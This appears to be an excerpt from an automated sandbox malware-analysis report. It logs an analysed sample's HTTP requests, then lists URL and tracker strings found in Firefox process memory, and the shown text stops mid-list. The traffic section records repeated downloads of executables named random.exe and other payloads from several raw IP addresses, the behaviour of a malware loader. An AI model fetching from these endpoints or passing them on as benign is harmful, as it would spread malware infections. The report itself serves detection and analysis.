Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/encoxx/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=en-US&feed_variant=default_spocs_off equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://pixel.advertising.com/firefox-etp""://cdn.cmp.advertising.com/firefox-etp""://.adsafeprotected.com//adj""://.adsafeprotected.com//Serving/""://.adsafeprotected.com/.js""https://ads.stickyadstv.com/firefox-etp""://.adsafeprotected.com//imp/""://.adsafeprotected.com/.js""://.adsafeprotected.com//imp/""://.adsafeprotected.com//unit/""://vast.adsafeprotected.com/vast""://.adsafeprotected.com/jload""://.adsafeprotected.com/jload?""://.adsafeprotected.com//unit/""://track.adform.net/Serving/TrackPoint/""://pubads.g.doubleclick.net/gampad/ad-blk""://.adsafeprotected.com/jload""://.adsafeprotected.com/jsvid?""://.adsafeprotected.com/.gif""://ads.stickyadstv.com/auto-user-sync""://www.facebook.com/platform/impression.php""://.adsafeprotected.com/jload?""://.adsafeprotected.com/.png""://ads.stickyadstv.com/user-matching""://.adsafeprotected.com/tpl?""://.adsafeprotected.com//adj""://securepubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com/.png""://.adsafeprotected.com/services/pub""://pubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com//Serving/""://.adsafeprotected.com/jsvid"60e82333-914d-4cfa-95b1-5f034b5a704bmain/anti-tracking-url-decorationresource://gre/modules/AddonManager.sys.mjsresource://gre/modules/PlacesUtils.sys.mjs), which may lead to unexpected results.getProfileDataAsGzippedArrayBufferresource:///modules/AttributionCode.sys.mjs"://.adsafeprotected.com/tpl?""://.adsafeprotected.com/jsvid":scope > #context-sep-navigation + "://trends.google.com/trends/embed"Child MenuItem not found, it cannot be removed.Could not find any MenuItem with id: this.menusInternal</onClicked/listener/<The amount of values specified for '["://trends.google.com/trends/embed"]["://trends.google.com/trends/embed"]ID of a MenuItem cannot be changed"://.adsafeprotected.com/services/pub"resource://gre/modules/ExtensionParent.sys.mjsUnrecognized theme property found: colors.' property takes effect only when one main/anti-tracking-url-decoration"://trends.google.com/trends/embed""://.adsafeprotected.com/jsvid?"Child MenuItem already has a parent.Unrecognized theme property found: images.main/devtools-compatibility-browsersmain/search-default-override-allowlistmain/translations-identification-modelsmain/websites-with-shared-credential-backendsUnrecognized theme property found: properties.resource://normandy/lib/NormandyUtils.sys.mjsresource:///modules/ShellService.sys.mjsresource://gre/modules/TelemetryArchive.sys.mjsservices.sync.clients.devices.mobileresource://gre/modules/UpdateUtils.sys.mjsservices.sync.clients.devices.desktopchrome://browser/content/browser.xhtmlchrome://browser/content/browser.xhtmlchrome://browser/content/browser.xhtmlchrome://browser/content/browser.xhtmlbrowser.laterrun.bookkeeping.sessionCountchrome://browser/content/browser.xhtmlchrome://browser/content/browser.xhtmlbrowser.laterrun.bookkeeping.profileCreationTimere
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://pubads.g.doubleclick.net/gampad/xml_vmap2://www.facebook.com/platform/impression.php://.adsafeprotected.com/jload?resource://gre/modules/NetUtil.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.rva311.com/static/js/main..chunk.jsFileUtils_openSafeFileOutputStreamFileUtils_closeSafeFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1://libs.coremetrics.com/eluminate.js@mozilla.org/network/atomic-file-output-stream;1FileUtils_openAtomicFileOutputStreamresource://gre/modules/addons/XPIProvider.jsm://c.amazon-adsystem.com/aax2/apstag.js://connect.facebook.net//sdk.js*://static.criteo.net/js/ld/publishertag.js://connect.facebook.net//all.js://web-assets.toggl.com/app/assets/scripts/.js@mozilla.org/network/file-output-stream;1pictureinpicture%40mozilla.org:1.0.0https://smartblock.firefox.etp/play.svg@mozilla.org/addons/addon-manager-startup;1FileUtils_closeAtomicFileOutputStreamwebcompat-reporter@mozilla.org.xpihttps://smartblock.firefox.etp/facebook.svg@mozilla.org/network/safe-file-output-stream;1://track.adform.net/serving/scripts/trackpoint/://auth.9c9media.ca/auth/main.js://static.chartbeat.com/js/chartbeat.js://static.chartbeat.com/js/chartbeat_video.js://.imgur.io/js/vendor..bundle.jsresource://gre/modules/FileUtils.sys.mjs://www.everestjs.net/static/st.v3.js://pub.doubleverify.com/signals/pub.js://www.googletagmanager.com/gtm.js*://www.google-analytics.com/plugins/ua/ec.js://ssl.google-analytics.com/ga.js://www.googletagservices.com/tag/js/gpt.js://cdn.adsafeprotected.com/iasPET.1.js://static.adsafeprotected.com/iasPET.1.js://s0.2mdn.net/instream/html5/ima3.js://adservex.media.net/videoAds.js*://.moatads.com//moatheader.js://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js://js.maxmind.com/js/apis/geoip2//geoip2.js://www.google-analytics.com/gtm/js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js://pagead2.googlesyndication.com/tag/js/gpt.js://s.webtrends.com/js/webtrends.min.js://www.google-analytics.com/analytics.js**://imasdk.googleapis.com/js/sdkloader/ima3.jsresource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3330390371.00000230FCB9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3330390371.00000230FCBAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3330390371.00000230FCB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versionDownloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)( equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versionDownloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)( equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MAX_NUMBER_OF_ENABLED_STATIC_RULESETS"://.adsafeprotected.com//Serving/""://.adsafeprotected.com/jload?""://.adsafeprotected.com/jsvid""://.adsafeprotected.com/tpl?""://.adsafeprotected.com//imp/""://.adsafeprotected.com/services/pub""://pubads.g.doubleclick.net/gampad/ad-blk""://vast.adsafeprotected.com/vast""://pubads.g.doubleclick.net/gampad/ad""https://ads.stickyadstv.com/firefox-etp""://www.facebook.com/platform/impression.php""://.adsafeprotected.com/jsvid?""://securepubads.g.doubleclick.net/gampad/ad""://ads.stickyadstv.com/user-matching""://track.adform.net/Serving/TrackPoint/""://ads.stickyadstv.com/auto-user-sync""://.adsafeprotected.com/jload""://.adsafeprotected.com/.gif""://pixel.advertising.com/firefox-etp""://.adsafeprotected.com//unit/" equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7145000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7145000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", 